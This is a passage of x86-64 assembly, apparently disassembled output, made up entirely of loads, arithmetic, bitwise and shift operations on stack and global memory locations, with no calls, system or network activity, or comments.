movsx ecx, word [rsp + 0xd20]
and eax, ecx
mov rcx, qword [0x14017a7d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x71e0]
movzx eax, word [rax]
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0xdf0]
imul eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov word [rcx], ax
lea rax, [rsp + 0xd5]
mov qword [rsp + 0x8268], rax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0x3df8]
mov qword [rsp + 0x8270], rax
mov rax, qword [rsp + 0x7a10]
mov rcx, qword [rsp + 0x6c88]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e28], eax
mov rax, qword [rsp + 0x6db8]
mov qword [rsp + 0x8278], rax
mov rax, qword [0x14017a610]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179053], al
mov rax, qword [rsp + 0x81d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0x88], al
lea rax, [rsp + 0xe58]
mov qword [rsp + 0x8280], rax
mov rax, qword [0x14017a530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe88]
sub eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x7cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x80c0]
mov rax, qword [rax]
mov qword [rsp + 0x8288], rax
mov rax, qword [rsp + 0x75e8]
mov rcx, qword [rsp + 0x79e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8258], rax
lea rax, [rsp + 0x3ca4]
mov qword [rsp + 0x8290], rax
mov eax, dword [rsp + 0x3c44]
mov rcx, qword [rsp + 0x73d8]
mov qword [rsp + 0x8298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8298]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7bb0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0xd30]
xor eax, ecx
mov rcx, qword [0x14017a4e8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6b68]
mov word [rcx], ax
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x82a0], rax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0xa4]
shl eax, cl
mov byte [rsp + 0x90], al
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x82a8], rax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x70c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6da8], rax
mov rax, qword [rsp + 0x80d8]
mov eax, dword [rax]
mov dword [rsp + 0x3e98], eax
mov rax, qword [rsp + 0x7420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d80], eax
mov rax, qword [rsp + 0x6cc0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7050], rax
lea rax, [rsp + 0xc6]
mov qword [0x14017a7d8], rax
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
mov word [rsp + 0xeac], ax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [rsp + 0xc24]
add eax, ecx
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x82b0], rax
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0x7a80]
mov byte [rcx], al
mov rax, qword [rsp + 0x7510]
mov rcx, qword [rsp + 0x72b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a30], rax
mov rax, qword [rsp + 0x7bb0]
mov eax, dword [rax]
mov dword [rsp + 0x3e9c], eax
mov rax, qword [rsp + 0x77a0]
mov rcx, qword [rsp + 0x6c00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7e48], rax
mov eax, dword [rsp + 0x3d54]
mov dword [rsp + 0x3ea0], eax
movzx eax, word [rsp + 0xc40]
mov word [0x14017a7e0], ax
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xcac]
sub eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [0x14017a5f0]
movzx eax, byte [rax]
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49]
and eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov dword [rsp + 0x3ea4], eax
mov rax, qword [rsp + 0x7548]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7f08]
shl rax, cl
mov rcx, qword [rsp + 0x73b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7718]
mov qword [rsp + 0x82b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x82b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7c58]
mov dword [rcx], eax
lea rax, [rsp + 0x8258]
mov qword [rsp + 0x82c0], rax
movzx eax, word [rsp + 0xc58]
mov rcx, qword [0x14017a6e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x80a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0xaa]
or eax, ecx
mov rcx, qword [0x14017a6e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e18]
movzx eax, word [rax]
mov word [rsp + 0xeb0], ax
mov rax, qword [0x14017a6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7220]
mov byte [rcx], al
mov rax, qword [rsp + 0x73e0]
movzx eax, word [rax]
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x6f08]
mov ecx, dword [rsp + 0x3c50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e84], eax
mov rax, qword [rsp + 0x7328]
mov rcx, qword [rsp + 0x6fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7af8]
mov qword [rcx], rax
lea rax, [rsp + 0x3d2c]
mov qword [rsp + 0x82c8], rax
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [rsp + 0x7768]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x77e8]
mov qword [rcx], rax
movzx eax, byte [0x14017903a]
mov byte [rsp + 0x101], al
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017901f], al
movsx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x7db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x7cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x8170]
movzx eax, word [rax]
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e54]
mov dword [rsp + 0x3ea8], eax
mov rax, qword [rsp + 0x8030]
mov rcx, qword [rsp + 0x6df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7430], rax
mov rax, qword [rsp + 0x7700]
mov ecx, dword [rsp + 0x3c1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be4], eax
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0x72a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179056], al
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0x44]
shl eax, cl
mov rcx, qword [rsp + 0x8028]
mov byte [rcx], al
lea rax, [rsp + 0xde8]
mov qword [rsp + 0x82d8], rax
movsx eax, word [rsp + 0xd6c]
mov rcx, qword [rsp + 0x6c78]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7158]
mov word [rcx], ax
lea rax, [rsp + 0x6ff0]
mov qword [rsp + 0x82e0], rax
mov rax, qword [rsp + 0x7fc8]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c44]
mov rcx, qword [rsp + 0x7200]
mov qword [rsp + 0x82e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x82e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d30], eax
mov eax, dword [rsp + 0x3e0c]
mov dword [rsp + 0x3eac], eax
movsx eax, byte [rsp + 0xf0]
movsx ecx, byte [rsp + 0xac]
and eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe2c]
imul eax, ecx
mov rcx, qword [0x14017a738]
mov word [rcx], ax
movzx eax, word [rsp + 0xe24]
mov word [rsp + 0xebc], ax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x7838]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e], al
movzx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x7a40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x82f0], rax
mov rax, qword [rsp + 0x7e18]
mov ecx, dword [rsp + 0x3d18]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e20]
mov dword [rsp + 0x3eb0], eax
mov rax, qword [rsp + 0x7390]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c90], rax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7b38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8088], rax
movzx eax, byte [rsp + 0x98]
movzx ecx, byte [rsp + 0xae]
add eax, ecx
mov byte [0x140179057], al
lea rax, [rsp + 0xea4]
mov qword [rsp + 0x82f8], rax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe4c]
mov word [rsp + 0xec0], ax
movsx eax, byte [rsp + 0xb1]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
lea rax, [rsp + 0x6c88]
mov qword [rsp + 0x8300], rax
mov rax, qword [rsp + 0x8198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78b0]
mov qword [rsp + 0x8308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8308]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7730], rax
mov eax, dword [rsp + 0x3c8c]
mov dword [rsp + 0x3eb4], eax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x6f38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140179009], al
movzx eax, word [0x140179074]
movzx ecx, word [rsp + 0xc0c]
shl eax, cl
mov word [rsp + 0xd0c], ax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x8310], rax
movzx eax, byte [rsp + 0xd5]
movzx ecx, byte [rsp + 0xd8]
and eax, ecx
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x8110]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7148]
mov word [rcx], ax
lea rax, [rsp + 0x3bfc]
mov qword [rsp + 0x8318], rax
mov rax, qword [rsp + 0x7168]
mov rcx, qword [rsp + 0x7078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7818]
mov qword [rcx], rax
lea rax, [rsp + 0x3d78]
mov qword [rsp + 0x8320], rax
mov rax, qword [rsp + 0x7fc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7da8], rax
movzx eax, byte [rsp + 0xdd]
mov byte [0x14017a55d], al
movsx eax, word [rsp + 0xe98]
movsx ecx, word [rsp + 0xc2c]
add eax, ecx
mov rcx, qword [rsp + 0x76b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e30]
movzx eax, word [rax]
mov word [rsp + 0xec4], ax
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x7cb8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7070]
mov word [rcx], ax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x8328], rax
mov rax, qword [rsp + 0x7828]
mov rcx, qword [rsp + 0x7700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x80c0]
mov qword [rcx], rax
lea rax, [0x140179010]
mov qword [rsp + 0x8330], rax
mov eax, dword [rsp + 0x3e90]
mov ecx, dword [rsp + 0x3ce0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e34], eax
movzx eax, byte [rsp + 0x97]
movzx ecx, byte [rsp + 0xea]
sub eax, ecx
mov rcx, qword [0x14017a600]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e00]
movzx eax, word [rax]
mov word [rsp + 0xec8], ax
movsx eax, word [rsp + 0xe24]
movsx ecx, word [rsp + 0xc90]
sar eax, cl
mov rcx, qword [rsp + 0x8090]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [0x14017a798]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
lea rax, [rsp + 0xd80]
mov qword [rsp + 0x8338], rax
mov rax, qword [rsp + 0x81b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8140]
mov qword [rsp + 0x8340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8340]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x72d8], rax
lea rax, [rsp + 0x3cd4]
mov qword [rsp + 0x8348], rax
mov rax, qword [rsp + 0x70d0]
mov rcx, qword [rsp + 0x7510]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7d88], rax
mov eax, dword [rsp + 0x3e2c]
mov dword [rsp + 0x3eb8], eax
mov rax, qword [rsp + 0x7b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1401790b8], ax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x7500]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [0x14017a7b8]
movzx eax, byte [rax]
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe64]
sub eax, ecx
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x7998]
mov eax, dword [rax]
mov dword [rsp + 0x3ebc], eax
mov rax, qword [rsp + 0x7460]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x8320]
mov eax, dword [rax]
mov dword [rsp + 0x3ec0], eax
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov rcx, qword [0x14017a798]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8338]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc44], ax
mov rax, qword [rsp + 0x8108]
movzx eax, word [rax]
mov word [rsp + 0xecc], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x8310]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x7928]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x7eb8]
mov qword [rsp + 0x8350], rax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x7078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7428], rax
lea rax, [rsp + 0x3d2c]
mov qword [rsp + 0x8358], rax
mov rax, qword [rsp + 0x7908]
mov rcx, qword [rsp + 0x6e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3e84], eax
movzx eax, byte [0x14017a4e6]
mov rcx, qword [rsp + 0x78a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017905a], al
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ec8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd30], ax
movzx eax, byte [0x140179036]
movzx ecx, byte [rsp + 0xde]
xor eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x7e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x8368], rax
mov rax, qword [rsp + 0x7180]
mov ecx, dword [rsp + 0x3bc8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d78], eax
mov rax, qword [rsp + 0x8098]
mov rcx, qword [rsp + 0x7f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7f00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e18]
movzx eax, word [rax]
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x7b58]
movzx eax, byte [rax]
mov byte [0x14017a55e], al
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7928]
mov byte [rcx], al
lea rax, [0x140179060]
mov qword [rsp + 0x8370], rax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc3c]
sub eax, ecx
mov rcx, qword [rsp + 0x7608]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cd8]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ea4], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0x7f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c68], rax
lea rax, [rsp + 0x3d3c]
mov qword [rsp + 0x8380], rax
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [rsp + 0xe1]
and eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x7fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdfc]
imul eax, ecx
mov word [0x14017902c], ax
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [rsp + 0x72], al
lea rax, [0x140179030]
mov qword [rsp + 0x8388], rax
mov rax, qword [rsp + 0x8210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe8]
sar eax, cl
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c98]
mov dword [rsp + 0x3ec4], eax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e48]
shl rax, cl
mov qword [rsp + 0x7ef8], rax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x8390], rax
mov rax, qword [rsp + 0x7bc8]
mov rcx, qword [rsp + 0x8270]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7f50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x70c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a548]
mov byte [rcx], al
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x8398], rax
movsx eax, byte [0x14017a55d]
movsx ecx, byte [rsp + 0xf5]
and eax, ecx
mov byte [rsp + 0xf8], al
movzx eax, word [rsp + 0xcd8]
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x7aa0]
mov rcx, qword [rsp + 0x73d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e80], eax
mov rax, qword [rsp + 0x7d08]
mov qword [rsp + 0x83a0], rax
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3db4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c64], eax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x83a8], rax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017905b], al
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7070]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8a]
movsx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [rsp + 0x57], al
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x83b0], rax
movsx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0x7b30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe8], al
lea rax, [rsp + 0x71c8]
mov qword [rsp + 0x83b8], rax
mov rax, qword [rsp + 0x70a8]
mov ecx, dword [rsp + 0x3d30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e58], eax
mov eax, dword [rsp + 0x3d88]
mov dword [rsp + 0x3ec8], eax
mov rax, qword [rsp + 0x7fa8]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x76b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401790b4], ax
movzx eax, byte [rsp + 0xf7]
movzx ecx, byte [rsp + 0x45]
sar eax, cl
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0x75c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
movzx eax, word [0x140179068]
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x7ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ec0], eax
mov eax, dword [rsp + 0x3d88]
mov ecx, dword [rsp + 0x3e88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d08], eax
lea rax, [rsp + 0x6e38]
mov qword [rsp + 0x83c8], rax
mov rax, qword [rsp + 0x7198]
mov rcx, qword [rsp + 0x7ba8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x7f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd18]
sub eax, ecx
mov word [0x1401790bc], ax
movzx eax, byte [0x140179043]
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov word [rsp + 0xc3c], ax
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6ed8]
mov ecx, dword [rsp + 0x3e30]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7908]
mov eax, dword [rax]
mov dword [rsp + 0x3ecc], eax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x71c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x6c30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6da8], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x7bd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a7b0], ax
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x7838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x102]
add eax, ecx
mov rcx, qword [rsp + 0x7e68]
mov byte [rcx], al
lea rax, [rsp + 0xe94]
mov qword [rsp + 0x83d0], rax
movsx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7760]
mov qword [rsp + 0x83d8], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3e7c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ea4], eax
mov rax, qword [rsp + 0x72b8]
movzx ecx, al
mov rax, qword [rsp + 0x7178]
sar rax, cl
mov qword [rsp + 0x7d08], rax
lea rax, [rsp + 0x3e88]
mov qword [rsp + 0x83e0], rax
lea rax, [rsp + 0xe54]
mov qword [0x14017a7e8], rax
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
shl eax, cl
mov rcx, qword [rsp + 0x6e70]
mov byte [rcx], al
lea rax, [rsp + 0xea]
mov qword [rsp + 0x83e8], rax
mov rax, qword [rsp + 0x6dc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7148]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
imul eax, eax, 0xcb7
mov rcx, qword [rsp + 0x8388]
mov word [rcx], ax
mov rax, qword [rsp + 0x7648]
mov qword [rsp + 0x83f0], rax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3d28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bb0]
mov dword [rcx], eax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x83f8], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x7900]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
